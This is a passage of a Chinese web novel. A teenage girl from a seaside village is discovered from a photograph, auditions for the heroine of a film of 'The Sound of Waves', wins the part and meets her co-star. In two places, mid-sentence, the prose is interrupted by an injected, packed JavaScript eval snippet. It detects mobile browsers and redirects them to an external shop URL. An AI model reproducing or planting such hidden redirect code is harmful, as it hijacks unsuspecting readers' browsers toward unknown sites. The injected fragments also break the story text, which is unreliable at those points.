潮子刚从咖啡店下班，回到公寓，正在厨房里洗菜。高桥女士还没回来，厨房里只有水龙头的声音和窗外偶尔传来的电车声。门铃响了。她擦了擦手，走到玄关，拉开门。 森本站在门口。他穿着一件灰色的风衣，领口竖着，手里提着一个牛皮纸袋。看见她，笑了一下。“打扰了。” “森本先生？”潮子愣了一下，往旁边让了让，“请进。” 森本换了鞋，走进来。他把纸袋放在厨房的桌上，从里面拿出几个橘子、一盒蛋糕、一包茶叶。潮子看着那些东西，不知道该说什么。 “不用忙。”森本在椅子上坐下来，“我说几句话就走。” 潮子在他对面坐下。她不知道他要说什么，但她的心跳快了。森本看着她，看了一会儿。她的头发扎起来，露出耳朵，脸上没有妆，干干净净的，却带着少女独特的气息。围裙上沾了水，袖子挽到手肘，露出小臂。她坐在那里，背挺得很直，两只手放在膝盖上，那样乖巧安静。 “山田洋次导演想见你。”森本说。 潮子愣住了。 “上次摄影展，他看到了你的照片。”森本的声音很平，像在说一件很普通的事，“他觉得你符合他下一部戏的女主角。” 潮子坐在那里，一动不动。她的脑子里一片空白，什么声音都听不见了。过了好一会儿，她才开口：“我？” “嗯。” “女主角？” “嗯。” “为什么是我？”她问。 森本没有回答。他从口袋里掏出一张照片，放在桌上。是那张她在海边拍的，坐在礁石上，闭着眼，海风吹着头发。她看着照片里的自己，看了很久。 “你站在那里，”森本说，“山田导演看见了。他说，这就是他一直在找的人。” 潮子抬起头，看着他。她的眼睛很亮，里面有东西在动，但她没有哭。 “森本先生。”她说。 “嗯。” “谢谢您。” 森本看着她，摇了摇头。“先别急着谢我。”他的声音比刚才重了一点，像在提醒她什么，“用不用得上，还得看你自己。导演要见你，是觉得你有可能。但能不能让他点头，是你的事。” 潮子点点头。 “试一试吧。”森本说，“不管成不成，至少试过了。” 他站起来，把纸袋往她那边推了推。“橘子、蛋糕是给你的。茶叶留给高桥女士。”他走到玄关，弯腰穿鞋。潮子跟在他后面，站在门口。 “森本先生。” “嗯？” “什么时候？” “后天下午。我到时候来接你。” 门关上了。走廊里安静下来。潮子站在那里，看着那扇关上的门。手上还有洗菜的水，凉凉的。她把水在围裙上擦干，走回厨房，继续洗菜。但她的手在抖。菜叶在水里晃着，她拿不稳。 那天晚上，她躺在床上，她想着森本说的话。“试一试吧。”她翻了个身，把脸埋在胳膊里。她不知道山田洋次是谁，不知道他要拍什么戏，不知道自己能不能演。她只知道，有一个机会摆在她面前，像一扇门，开着一条缝，光从里面透出来。她要不要推？ 她闭上眼睛。要去杂志社跟高桥说一声，那天她不能去帮忙了。 第二天下午，她在杂志社跟高桥说了。 高桥坐在办公桌后面，正在改稿子。听了她的话，放下铅笔，摘下眼镜，看着她。 “山田洋次？” “嗯。” 高桥看了她一会儿，然后笑了。不是那种客气的笑，是真心实意的笑。“去吧。”她说，“祝你好运。” 潮子站在那里，不知道该说什么。高桥站起来，走到她面前，拍了拍她的肩膀。她的手很轻，但潮子觉得肩膀上沉了一下。 “你这样的人，”高桥说，“不管做什么，都不会差。” 潮子低下头。“谢谢您。” “别谢我。”高桥坐回去，戴上眼镜，继续改稿子，“是你自己挣来的。” 那天下午，森本来接她。 他开车来的，一辆灰色的轿车，停在巷口。潮子换了那件深蓝色的连衣裙，把头发放下来。她在镜子前面站了一会儿，看着里面的自己。裙子还是大了一点，袖子还是长了一点。但她没有别的衣服了。 森本看了她一眼，没有评价。“走吧。” 车子开了二十分钟，在一个安静的街区停下来。路两边是银杏树，叶子还是绿的，阳光从叶缝里漏下来，在地上画出碎碎的光斑。森本领着她走进一栋灰色的楼，上到三楼。走廊里铺着地毯，脚步声被吸掉了，安静得像在水底。 他敲了敲一扇门。里面有人应了一声，门开了。 一个年轻人探出头来，看见森本，点了点头。“导演在等。” 潮子跟在森本后面走进去。房间不大，但很高。窗户朝南，光从外面涌进来，把整个屋子照得亮堂堂的。靠墙是一排书架，从地板到天花板，塞满了书和文件。中间有一张长桌，上面摊着稿纸、剧本、烟灰缸、茶杯。桌子的另一头，坐着一个人。 山田洋次站起来。 他比潮子想象的高，瘦，穿着一件深蓝色的毛衣，袖口磨得有点起球。头发灰白。他的脸很瘦，颧骨高，下巴尖，眼睛不大，但很亮。他看着她，没有笑，也没有说话，就那么看着。 潮子站在那里，被他看着。 山田看了她很久。久到她觉得空气都变慢了。然后他的目光从她脸上移开，落在她身上。那条深蓝色的连衣裙，大了一点，袖子长了一点，被她挽了两道，露出细细的手腕。裙摆盖住脚面。 他的目光回到她脸上。那张脸比他想象的小，下巴尖尖的，颧骨的轮廓在光线下显出来。眼睛很大很亮，看人的时候不躲不闪。鼻尖上有一颗痣，不大不小，长在左边。那颗痣让她的脸活了起来——不是那种规规矩矩的美，是活的、野的、不讲道理的美。 他想起那天在摄影展上，站在那张照片前面，心里涌上来的那个念头。那个念头说：就是她。就是这个人。 现在她站在他面前，活生生的，会动的，会呼吸的。他的心跳了一下。她朝他走来的那一刻，他看见的不再是一个十五岁的女孩，是初江。那个在海边长大的少女，那个被海风吹着、被太阳晒着、在浪里来浪里去的少女。她的皮肤是阳光亲吻过的颜色，不是城里女孩那种白，是晒出来的、被海风吹出来的那种，带着光泽，像贝壳的内壁。她站在那里，很瘦，但不是那种弱不禁风的瘦，是结实的、有劲的、能在海里游很远的那种。她的肩膀不宽，但很直，锁骨在领口下面显出浅浅的线条。 他想起小说里的初江。那个海女家的女儿，从小潜水捞鲍鱼，被海浪打得站不稳，但从来不倒。她的美不是沙龙里精心修饰的娇弱，不是那种白得透明、风一吹就倒的美。是从海风和浪涛中直接生长出来的美，带着腥味，带着盐，带着太阳的痕迹。健康的，明朗的，像夏天的早晨。 她的眼睛很大，眼尾微微上挑，看人的时候带着一点妩媚，但又不是故意的。是长在那张脸上自然带出来的。妩媚和柔美在她脸上待在一起，不打架，不别扭。她的眼神很直，没有那种“你看我好不好看”的东西，也没有“我知道自己好看”的东西。只是看着你，安安静静的，像海。 那颗痣长在鼻子上，左边，离鼻孔很近。不抢眼，但你看见了就忘不掉。它让她的脸多了几分娇俏，几分灵动，像画师最后落下的一笔。没有它，这张脸也好看，但有了它，就有了记性。 他在心里转了一圈，从正面到侧面，从侧面到四分之三面。每一个角度都好看。不是那种“这个角度好看那个角度不行”的好看，是三百六十度的好看。她的颧骨在侧面看线条很利，下巴尖尖的，鼻梁从眉心一路下来，到鼻尖那里微微收住。额头不高不低，发际线有一点碎发，毛茸茸的。她的脸不是那种工工整整的美人脸，是有棱角的，有骨头的，有脾气的。但那些棱角没有破坏她的柔美，反而让柔美有了骨头。 他注意到她的手。她站在他面前，两只手放在身侧，没有攥着，也没有藏。手指细长，指甲剪得很短，指节上有一层薄薄的茧子。不是那种拿笔磨出来的，是干活干出来的。他想起小说里的初江。初江虽然是个大小姐，但她没有大小姐的脾气，她会和下人一起干活，会潜水捞鲍鱼，会在厨房里帮忙。她的手上也有茧子。不是养尊处优的手，是会做事的手。 山田看着她，看着那双眼睛，那颗痣，那双手。他心里的那个角色，那个在他脑子里住了很久、一直没找到脸的角色，突然活了。初江有了眼睛，有了鼻子，有了嘴唇，有了那颗痣，有了那双手。她站在那里，不是照片里的影子，是活的。她会笑，会皱眉，会低下头不说话。他看见了。他什么都看见了。 他站在长桌后面，没有说话。旁边的人都在等，等着他说什么。但他什么都没说。他只是看着她，看着这个从海边来的、穿着不合身的连衣裙的站在地毯上的女孩。她不知道他脑子里在想什么。她只是站在那里，等着，不躲不闪。 过了一会儿，他开口了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486553|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你就是潮子？” “是。” “坐吧。” 潮子在椅子上坐下来，背挺得很直。山田也坐下来，把桌上的稿纸往旁边推了推，露出桌面。他看着她，看了一会儿。 “你知不知道我为什么叫你来？” “森本先生说，您看到了我的照片。” “嗯。”山田点点头，“那张照片拍得好。但照片是照片，人是人。我想看看你这个人。” 潮子没说话。她不知道他看到了什么。她只知道自己坐在这里，穿着妈妈的衣服。 “你从哪里来的？”山田问。 “静冈。海边的一个小渔村。” “家里做什么的？” “妈妈在酒肆上班。”她没有说“陪酒”。但山田听懂了。 他点点头，没有继续问。他看着她，看着她坐的样子。她的背很直，没有靠在椅背上，两只手放在膝盖上，指尖朝前。不是那种被教过的坐姿，是坐惯了硬板凳的人才会有的坐法。她的眼睛看着他，没有躲，也没有那种“你快说我要不要我”的着急。只是等着，安安静静的。 “你读过书吗？”他问。 “在村里读到四年级。后来去镇上读初中。现在在东京读夜校。” “夜校？”山田的眼睛动了一下，“白天呢？” “在咖啡店打工。下午在杂志社帮忙。”她的声音只有平静，仿佛是一件再寻常不过的事。 山田看着她，看了很久。他想起自己年轻的时候，也打过工，也吃过苦。但不一样。他是东京人，再怎么苦，也有个地方回去。她不一样。她从海边来，一个人，什么都没有。她坐在那里，干干净净的，什么都没有，什么都不怕。 “你知不知道我要拍什么？”他问。 “不知道。” “《潮骚》。”他说，“三岛由纪夫的《潮骚》。” 潮子没有说话。她没读过这本书。她连三岛由纪夫是谁都不知道。但她记住了这个名字。 山田看着她。她不知道《潮骚》，不知道三岛由纪夫，不知道他为什么叫她来。她只是坐在这里，穿着不合身的连衣裙等着。他不知道她能不能演。他不知道她有没有那个天分。但他知道一件事——她站在那里，就是初江。不是像初江，是就是。初江的美是健康的、明朗的、从海风里长出来的。她也是。初江的眼睛是清澈的、直直的、不躲不闪的。她也是。初江的手上有茧子，会干活，不娇气。她也是。初江不是那种坐在屋里等别人来爱的人，她是自己走到浪里去、站在水里等浪打过来的人。她也是。 “下个星期，”他说，“你来试镜。” 潮子的心跳了一下。“好。” 山田点点头，低下头，继续看桌上的稿纸。好像刚才什么都没发生过。旁边的人走过来，把一张纸条递给潮子，上面写着地址和时间。潮子接过来，攥在手心里。 森本站起来，跟山田点了点头。山田抬起头，看了森本一眼，又看了潮子一眼。 “你叫什么来着？”他问。 “浜田潮子。” “潮子。”他念了一遍这个名字，“下个星期见。” 潮子站起来，跟着森本往外走。走到门口的时候，她停下来，回头看了一眼。山田已经低下头，继续改稿子了。窗外的光照在他身上，把他的影子拉得很长。她站在那里，看了一秒钟，然后推门出去。 走廊里很安静，地毯把脚步声都吃掉了。森本走在前面，她跟在后面。她没有说话，也没有回头。她的手心里攥着那张纸条，攥得很紧。 出了大楼，阳光照在她脸上，暖洋洋的。她站在那里，仰着头，看着天。天很蓝，蓝得像海边的那种蓝。她不知道为什么会想起海。也许是因为山田导演说的那本书。也许是因为他看她的眼神。也许是因为他说“你站在那里，就是初江”。她不知道初江是谁。但她觉得，那个人一定和她很像。 森本站在旁边，没有说话。他从口袋里掏出车钥匙，打开了车门。 “走吧。”他说。 潮子坐进车里，把纸条小心地放进裙子口袋里。车子发动了，窗外的银杏树一棵一棵往后退。她看着那些树，看着阳光从叶缝里漏下来，在地上画出碎碎的光斑。她不知道那扇门后面等着她的是什么。但她知道，她已经站在门口了。她不需要推。门自己开了。 那天晚上，她躺在床上，她听着远处的电车声，想着山田说的那句话。“你站在那里，就是初江。”她不知道初江是谁。但她觉得，那个人一定活得很用力。像她一样。 19. 第 19 章 潮子用了三天时间读完了《潮骚》。 书是森本先生送来的，旧版的文库本，书页已经泛黄，边角卷起来，封面上印着一片灰蓝色的大海。她坐在榻榻米上，从第一页开始读，读到天黑，开了灯继续读。高桥女士在外面敲了两次门，问她吃不吃晚饭，她说等一会儿。第二次敲门的时候，她把书放下，去厨房吃了一碗茶泡饭，又回到房间，继续读。 小说不长，她读到半夜就读完了。合上书的时候，她坐在那里，看着窗台上那枚贝壳，很久没有动。 她终于明白了山田导演说的那句话——“你站在那里，就是初江。” 初江是在海边长大的，她的父亲是海女，她从小学潜水，被海浪打着，被海风吹着。她不是那种养在深闺的娇弱女孩，她的美是从风浪里长出来的。她喜欢新治，就大大方方地喜欢，不扭捏，不躲闪。暴风雨那天，她跑去灯塔看新治，被雨淋得透湿，躲进山间的小屋。 她主动说“咱俩都脱光吧”，不是轻浮，是觉得坦诚相见就没有不好意思了。但当新治想要更进一步的时候，她拦住他，说“在嫁人之前不能做这种事”。她知道自己在做什么，也知道什么能做、什么不能做。她不是被命运推着走的人，她是自己走到浪里去的人。 潮子想起自己。想起那天在废弃的小屋里，她捧着健一郎的脸，疯狂地吻他。他把她按在干草上，她以为会发生什么，但他停下来，说“不可以”。他撑起手臂看着她，胸口剧烈地起伏着，但他没有碰她。她那时候不明白，以为他是不想要她。现在她明白了。他是太珍视她了，珍视到不愿意在她离开之前留下任何会让她后悔的东西。 她把书放在枕头底下，和那枚贝壳放在一起。她闭上眼睛，想起健一郎的脸。他站在铁轨边上看着她走，虽然没有说“我永远在这里等着你”，但那眼神告诉她，他会的。她没有哭。她只是把那枚贝壳攥在手心里，攥得很紧。 试镜那天，她提前到了。 走廊里很安静，日光灯嗡嗡地响，照得墙上白花花的。她在长椅上坐下来，把剧本翻开。剧本只有一页纸，是初江和新治在小屋里的那场戏。她读了一遍，又读了一遍。纸上的字在她眼前晃着，她看不进去。不是紧张，是别的什么。这些台词，这个场景，她太熟悉了。她不是在看剧本，是在看自己。那天在小屋里，干草的味道，雨打在屋顶上的声音，健一郎把她按在干草上，他的额头抵着她的额头，他说“不可以”。 她的手指攥着剧本，指节发白。她闭上眼睛，深吸了一口气。她可以演。不是演，是把自己拿出来。 走廊另一头的门开了，出来一个人。她没抬头，只听见皮鞋踩在地板上的声音，不紧不慢的，从里面走出来，在她旁边的椅子上坐下来。她没有看他，把剧本翻了一页，假装在读。但她读不进去。她能感觉到旁边有人坐着，安安静静的，不说话，也不看她。只是坐在那里。 她穿着那双从渔村带来的木屐，带子换过好几次了，木底磨得光滑。木屐夹在脚趾间，时间长了有点疼。她弯下腰，把木屐脱了，光脚踩在地板上。地板是木头的，凉凉的，贴着脚心，反而踏实了。她把木屐整齐地摆在椅子旁边，重新坐好。 过了一会儿，她忍不住瞥了一眼旁边。是个年轻人，比她高很多，穿着一件白色的衬衫，袖子挽到手肘，露出小臂。他的侧脸很干净，不是那种白净的干净，是看起来让人觉得舒服的那种。他的手里拿着一本剧本，翻到某一页，低着头在看。头发垂在额前，被穿堂风轻轻撩起又落回去。整个人是静的，但不是寡淡的静，是那种收着劲的静， 潮子把目光收回来，继续看自己的剧本。她不知道为什么要注意他。也许是因为走廊里只有他们两个人，也许是因为他坐在那里的样子不像其他人那样让人紧张。他只是坐着，不做什么，但你知道他在。 过了一会儿，有人从里面出来，喊她的名字。“浜田潮子。” 她站起来。旁边那个年轻人抬起头，看了她一眼。目光落在她脸上，又落在她光着的脚上，停了一秒。她没有穿鞋，光脚站在地板上，脚趾上有小时候被礁石割破留下的浅浅印子。他没有露出那种“这人好奇怪”的表情，也没有问“你怎么不穿鞋”。他只是看了她一眼，然后低下头，继续看剧本。 潮子把脚伸进木屐，站起来，跟着工作人员走进去。木屐踩在地板上，哒哒地响。门在她身后关上了。 房间很大，灯全开着，亮得刺眼。桌子后面坐着三个人，中间是山田导演，旁边两个她不认识。桌子旁边还站着一个人，手里拿着剧本，是来搭戏的。 山田抬起头，看见她，点了点头。“来了。” “是。” “剧本看了？” “看了。” “书呢？” “也看了。” 山田看了她一眼，没有再说什么。旁边的人走过来，把一张新的纸递给她。“今天的试镜就用这段。你看一下，准备好了就说。” 潮子接过纸，低头看。是小屋那场戏。初江的台词她已经背下来了，但她还是看了一遍。纸上的字很整齐，印在白色的纸上，黑白的，冷的。她想起那个下午，那间废弃的小屋，那些干草，那些雨声。她把纸放在桌上，低下头，把木屐脱了。光脚踩在地板上，凉凉的。她深吸了一口气，抬起头。 “可以开始了。” 山田点点头。旁边那个搭戏的演员走过来，站在她面前。是个三十多岁的男人，戴着眼镜，手里拿着剧本，脸上带着职业性的微笑。他看了她一眼，开始念新治的台词。声音平平的，像在念课文，没有起伏，没有温度。 潮子看着他。不是健一郎。不是那个站在铁轨边上看着她走的人，不是那个在废弃的小屋里说“不可以”的人。她低下头，看着自己的脚。脚踩在地板上，凉凉的。 “不行不行……”她的声音很小，小得像在跟自己说话。“姑娘在嫁人之前不能做这种事。” 对面的人继续念台词。声音还是那样，平平的，没有感情。潮子听着那个声音，突然觉得烦躁。她不是在对这个人说话。这个人不是新治，不是健一郎，不是任何一个值得她说这些话的人。她停了下来。 “导演。”她抬起头，看着山田。“我可以换个人吗？” 房间里安静了一下。旁边两个人互相看了一眼，山田没有动。他看着潮子，看了几秒钟。 “换谁？” 潮子张了张嘴，说不出名字。她不知道那个人叫什么。她只知道他坐在走廊里的时候，眼神很安静，不刺眼。 门口传来一个声音。 “我可以。” 潮子转过头。是那个年轻人。他站在门口，不知道什么时候进来的，可能是她念台词的时候，可能是之前。他穿着白色的衬衫，袖子挽到手肘，站在那里，安安静静的。他看着她，目光很平静，没有多余的东西。他看了山田一眼，山田看着他，点了点头。 年轻人走进来，站在她面前。比刚才那个人近一些。她看得清他的脸——他的眼睛是典型的凤眼，细长，眼尾微微上挑，不是凌厉的上扬，是那种带着弧度的、像毛笔轻轻勾了一笔的优雅。眼皮薄，眼窝不深，瞳仁是浅褐色的，清澈见底。 那双眼尾微扬的眼，本该带几分风流与傲气，但他偏生把它们活成了一种世间最干净、最温和的模样。那双眼睛底下还有一种很厚的包容——不管你做什么，他好像都觉得没关系。不是纵容，是理解。他没有拿剧本，只是看着她，等着。 潮子看着他。他的眼睛很安静，不着急，不催促，像在说“你慢慢来”。她想起健一郎。不是长得像，是那种感觉——站在那里，不说什么，但你知道他在。她深吸了一口气。 “开始。”山田说。 潮子没有马上说话。她看着他，看着他的眼睛。那双眼睛安安静静的，没有表演，没有技巧，只是看着她。她突然觉得不紧张了。她不是在演戏，她是在跟一个人说话。 “不行不行……”她的声音比刚才稳了。“姑娘在嫁人之前不能做这种事。” 年轻人没有说话。剧本里新治是有台词的，但他没有念。他只是看着她，等着她继续说。潮子看着他的眼睛，那双眼睛让她想起那间小屋，想起干草的味道，想起健一郎撑在她上方、胸口起伏的样子。她知道他在等她。不是等她说台词，是等她把自己拿出来。 “现在不行。”她的声音不抖了。“我，已经决定嫁给你了嘛。” 她看着他的眼睛。那双眼睛里有什么东西动了一下——不是惊讶，是别的什么。像什么东西被轻轻地碰了一下。她不知道那是什么，但她看见了。她知道他在听，不是在听台词，是在听她。 “到过门之前，无论如何都不行。” 她说完了。他没有接台词。他只是看着她。她看着他。房间里很安静，安静得能听见日光灯嗡嗡的声音。 潮子站在那里，看着他。她没有在演初江，她是在说自己的话。那间小屋，那些干草，那场雨，健一郎撑在她上方说“不可以”。她的眼睛很亮，里面有东西在烧。不是演出来的，是真的。 桐生站在那里，看着面前的这个少女。 他刚才坐在走廊里等的时候，她就坐在他旁边。他注意到了她——很难不注意。她穿着一件太大的深蓝色连衣裙，袖子挽了两道，脚边摆着一双木屐，带子换过好几次，木底磨得光滑。她低着头看剧本，头发有一点乱，大概是路上被风吹的。她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486554|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧脸很好看，鼻子挺挺的，下巴尖尖的，睫毛很长，像两把小扇子。他看了一眼，就收回了目光。他不想让她觉得被盯着看。 但他忍不住又看了一眼。她的手指攥着剧本，指节发白。她在紧张。他看得出来，因为她的手在抖，纸在手里簌簌地响。但她没有站起来走来走去，也没有深呼吸，只是坐在那里，攥着剧本，像一棵被风吹着的小树，晃，但不倒。后来她弯下腰，把木屐脱了，光脚踩在地板上。他看见她的脚趾上有浅浅的印子，大概是小时候留下的。她脱了鞋之后，肩膀好像松了一点，没有那么绷着了。 他想着，这个人是谁。年纪很小，看起来比他小好几岁。一个人来试镜，没有经纪人，没有助理，穿着木屐，光着脚。她坐在那里，和这个走廊里的一切都不搭，她只是坐着，等。 后来有人叫她的名字，她站起来，把脚伸进木屐，从他面前走过去。木屐踩在地板上，哒哒地响。她走路的姿势很好看，背挺得很直，步子不大，但很沉稳。她没有看他，但他看了她一眼。她比他矮很多，瘦瘦的，裙摆拖在地上，她也不管。她走到门口，推门进去。门关上了。 他坐在走廊里，等着自己的试镜。但他发现自己一直在想她。想她光着的脚，想她攥着剧本的指节，想她低下头的时候睫毛投在脸上的影子。他说不清楚为什么。他见过很多漂亮的人，演员、模特、试镜的女孩。她不是最漂亮的，但她站在那里，就是让人忘不掉。 现在她站在他面前。灯光从上面照下来，照在她脸上。她的脸很小，下巴尖尖的，颧骨的轮廓在光线下显出来。她的眼睛很大，很亮，看着他的时候，不躲不闪。她的鼻子上有一颗痣，不大不小，长在左边，离鼻孔很近。他那天在走廊里没有注意到这颗痣。现在看见了，就再也忘不掉。 她说台词的时候，他看着她的眼睛。那双眼睛很亮，里面有东西。不是那种演员训练出来的“情绪”，是真实的、活生生的、从什么地方长出来的东西。她在看着他的时候，看的不是他。是另一个人。他不知道那个人是谁，因为她说“在嫁人之前不能做这种事”的时候，声音里没有害怕，没有犹豫，只有一种很深的、很认真的东西。那是被人珍视过的人才会有的语气。 他想起剧本里的初江。那个在海边长大的少女，那个主动说“咱俩都脱光吧”的少女，那个在关键时刻拦住新治说“不行”的少女。她是纯真的，但不是无知的；她是主动的，但不是轻浮的。她知道自己要什么，也知道什么不能要。他面前的这个少女，就是初江。 不是像，不是演，是就是。她站在那里，光着脚，穿着不合身的裙子，头发乱着，脸上的表情没有一丝表演的痕迹。她说“我已经决定嫁给你了”的时候，他相信了。不是因为他信了台词，是因为她信了那个人。那个她心里的人。 他不知道自己站在那里看了她多久。也许只有几秒钟，也许很长。他只记得她说完最后一句台词的时候，房间里安静了很久。没有人说话。山田导演坐在桌子后面，看着她，没有说话。旁边两个人也没有说话。她站在那里，手里攥着那张剧本，指节发白。她不知道结果怎么样。她只是站在那里，等着。 “够了。”山田说。 潮子抬起头，看着他。 山田低下头，在纸上写了几个字。旁边的人站起来，走到她面前。“可以了，回去等通知。” 潮子点点头。她弯腰穿上木屐，转过身，往门口走。走了两步，停下来。她回过头，看着桐生。他还站在那里，看着她。他的表情没有变，还是那样安安静静的，但眼睛里有什么东西，像光，像火，像那天在海边，森本先生按下快门的时候，她闭着眼睛感觉到的那片暖意。 “谢谢。”她说。声音很轻。 桐生看着她。她只是说了“谢谢”。好像他在刚才那几分钟里，给了她什么很重要的东西。他不知道自己给了什么。他只是站在那里，看着她。 “不客气。”他说。 潮子点点头，转身走了。木屐踩在地板上，哒哒地响，越来越远。门在她身后关上。 桐生站在那里，看着那扇关上的门。他想，他刚才看见的不是一个十五岁的女孩在试镜。他看见的是初江。那个从海里走出来的少女，站在他面前，跟他说“我已经决定嫁给你了”。他相信了。不是因为他是个演员，是因为她让他相信了。 他的手心里有汗。他不知道自己为什么紧张。他只是在旁边站了一会儿，什么都没做。但他觉得，他刚才经历了什么很重要的东西。他说不清楚，但他知道，他会记住这一天。记住这个光着脚、穿着深蓝色连衣裙、鼻尖上有一颗痣的少女。记住她看着他的时候，眼睛里那片很深很亮的东西。那是初江的眼睛。也是她的。 20. 第 20 章 通知是在试镜后第五天来的。 那天傍晚，潮子正在高桥女士的公寓里打扫卫生。电话铃响了，高桥在客厅改稿子，朝她喊了一声：“潮子，电话。找你的。” 潮子愣了一下——来东京这么久，从来没有人打电话找过她。她放下抹布，走到走廊里，拿起听筒。 “浜田小姐吗？”电话那头是森本的声音，很稳，但比平时快了一点。“选上了。” 潮子握着话筒，没有说话。她听见自己的心跳，咚、咚、咚，像有人在砸门。 “山田导演说，你就是初江。” 她还是没说话。高桥从客厅探出头来，看了她一眼，没有催。过了一会儿，潮子对着话筒说：“谢谢您。”声音很轻，但很稳。 挂了电话，她站在走廊里，手里还攥着听筒。高桥放下笔，走出来。 “怎么了？” “选上了。”潮子说。 高桥愣了一下，然后笑了。她没有问选上什么，只是伸出手，抱了她一下。很轻，很短，但潮子感觉到她的手在她背上拍了两下，像哄小孩那样。 “我就知道。”高桥说。她松开潮子，转身往厨房走。“今天晚上加菜，庆祝一下。” 高桥已经打开了冰箱，把里面的东西一样一样拿出来——半棵白菜，一块豆腐，两根葱，一条鱼，还有一小块猪肉。她看了看那些东西，又看了看潮子。 “够吗？” “够了，”潮子说，“我来做。” “一起做。”高桥把围裙递给她一条，自己系上另一条。两个人站在小小的厨房里，水池只有一个，灶台也只有一个，转身的时候肩膀碰着肩膀。高桥切菜，潮子煮汤。刀落在案板上的声音，水在锅里咕嘟咕嘟的声音，还有窗外的电车声，混在一起，小小的厨房里满满当当的。 高桥切白菜的时候，刀顿了一下。“你小时候，谁做饭？” “我妈妈，”潮子想了想，“有时候我做。她很忙，晚上要上班。” 高桥只是点点头，继续切菜。潮子把豆腐放进锅里，看着它在热水里翻滚。白色的，软软的，浮起来又沉下去。她想起小时候，妈妈也是这样煮豆腐的。没有肉，没有葱，只有豆腐和水，撒一点盐。她站在灶台前面，够不着，要踮着脚才能看见锅里面。妈妈从后面抱住她的腰，把她举起来，让她看。那是她记得的妈妈最温柔的时候。 “怎么了？”高桥问。 “没什么。”潮子把豆腐捞出来，放在盘子里。 两个人做好了饭，端到桌上。高桥倒了一杯啤酒，给潮子倒了一杯橘子汁。两个人面对面坐着，筷子碰着碗，发出轻轻的响声。 “高桥女士。” “嗯？” “谢谢您。” 高桥抬起头，看着她。厨房的灯光照在潮子脸上，照在她鼻尖那颗痣上。她的眼睛很亮，里面有泪光在闪，但没有掉下来。 “不用谢我，”高桥端起酒杯，喝了一口，“是你自己争气。” 潮子低下头，把碗里的饭吃完。每一粒米都吃干净了。她站起来，把碗筷收进水池里，打开水龙头。高桥坐在桌边，端着酒杯，看着她的背影。瘦瘦的，肩膀窄窄的，但很直。她洗了很久，把每一个碗都擦了三遍。 “潮子。” “嗯？” “你妈妈知道了吗？” 潮子的手停了一下。水还在流，哗哗的。“还没有。” “给她打个电话吧，”高桥说，“她一定想知道。” 潮子把碗放进柜子里，关好门。她站在厨房里，看着窗外的东京。霓虹灯已经亮了，红的，蓝的，绿的，那么繁华。她想着妈妈。她现在在干什么？在酒肆里打扫，还是已经喝醉了，趴在柜台上睡着了？她不知道。她只知道，妈妈一定在等她电话。 “明天打。”她说。 高桥点点头，没有再说。 那天晚上，潮子躺在榻榻米上。她想起妈妈，想起酒肆里那盏昏黄的灯，想起那些男人的笑声，想起妈妈把学费塞进她手里的时候，手指在抖。她闭上眼睛。明天要给妈妈打电话。告诉她，她选上了。告诉她，她要拍电影了。告诉她，她没有丢人。 制作发表会在开机前一周，地点是银座一家酒店的宴会厅。 潮子从来没有来过这样的地方。电梯门打开的时候，她看见走廊里铺着深红色的地毯，走上去一点声音都没有。墙上挂着画，金色的画框在灯下反着光。她低头看了看自己的脚——今天穿了鞋，是高桥女士陪她去买的，一双白色的帆布鞋，鞋底硬邦邦，她还是不太习惯。 宴会厅不大，摆了四五排椅子，已经坐了一半的人。最前面是一张长桌，铺着白布，上面摆着几束花和一堆话筒。那些话筒立在那里，像一片小小的黑色的森林。潮子站在门口，看着那些话筒，心跳突然快了起来。 她转过头，看见一位青年从走廊那头走过来。他穿着白色的衬衫和深色的西裤，头发梳得很整齐，步子不快不慢。走到她面前，他停下来，微微欠了欠身。 “浜田小姐，我是桐生航一。请多关照。” 他的声音不高，语气礼貌但不疏离，像在说一件很自然的事。潮子愣了一下，然后想起在试镜的走廊里，那个坐在她相邻位置的白衬衫年轻人。她认出了他的脸。原来是他。 “您好，桐生君。我是浜田潮子。请多关照。”她微微鞠了一躬。 他点了点头，目光在她脸上停了一下，然后落在她的帆布鞋上，很快又收回来。 “紧张吗？”他问。 “有一点。”她说。 “不用紧张。你站在那里就行。”他的声音很平，像在说一件已经确定的事。他看着她，像是在确认她听进去了。然后又说了一句：“我第一次拍电视剧的时候，比你现在紧张多了。上台前手心都是汗。” 潮子认真地看着他，点点头。 工作人员走过来，领着他们走到前面。山田导演已经坐在中间了，左边空着，是桐生的位置，右边空着，是潮子的位置。潮子坐下来，椅子比家里的高，她的脚够不着地面，帆布鞋悬在半空，晃了一下。她赶紧停住，把脚缩回去，藏在桌子下面。 灯亮了。不是普通的灯，是那种摄影用的灯，亮得刺眼。快门的声音咔嚓咔嚓地响起来，密得像夏天的蝉鸣。潮子眯了一下眼睛，但没有躲。她坐在那里，背挺得很直，眼睛看着那些镜头，不躲不闪。 记者们开始提问。先是问山田导演，为什么想拍《潮骚》，为什么选在这个时间，为什么选这座岛。山田导演的回答很短，像他拍的电影一样，不急不慢。 然后有人问桐生：“桐生君，这次和新人搭档，有什么感想？” 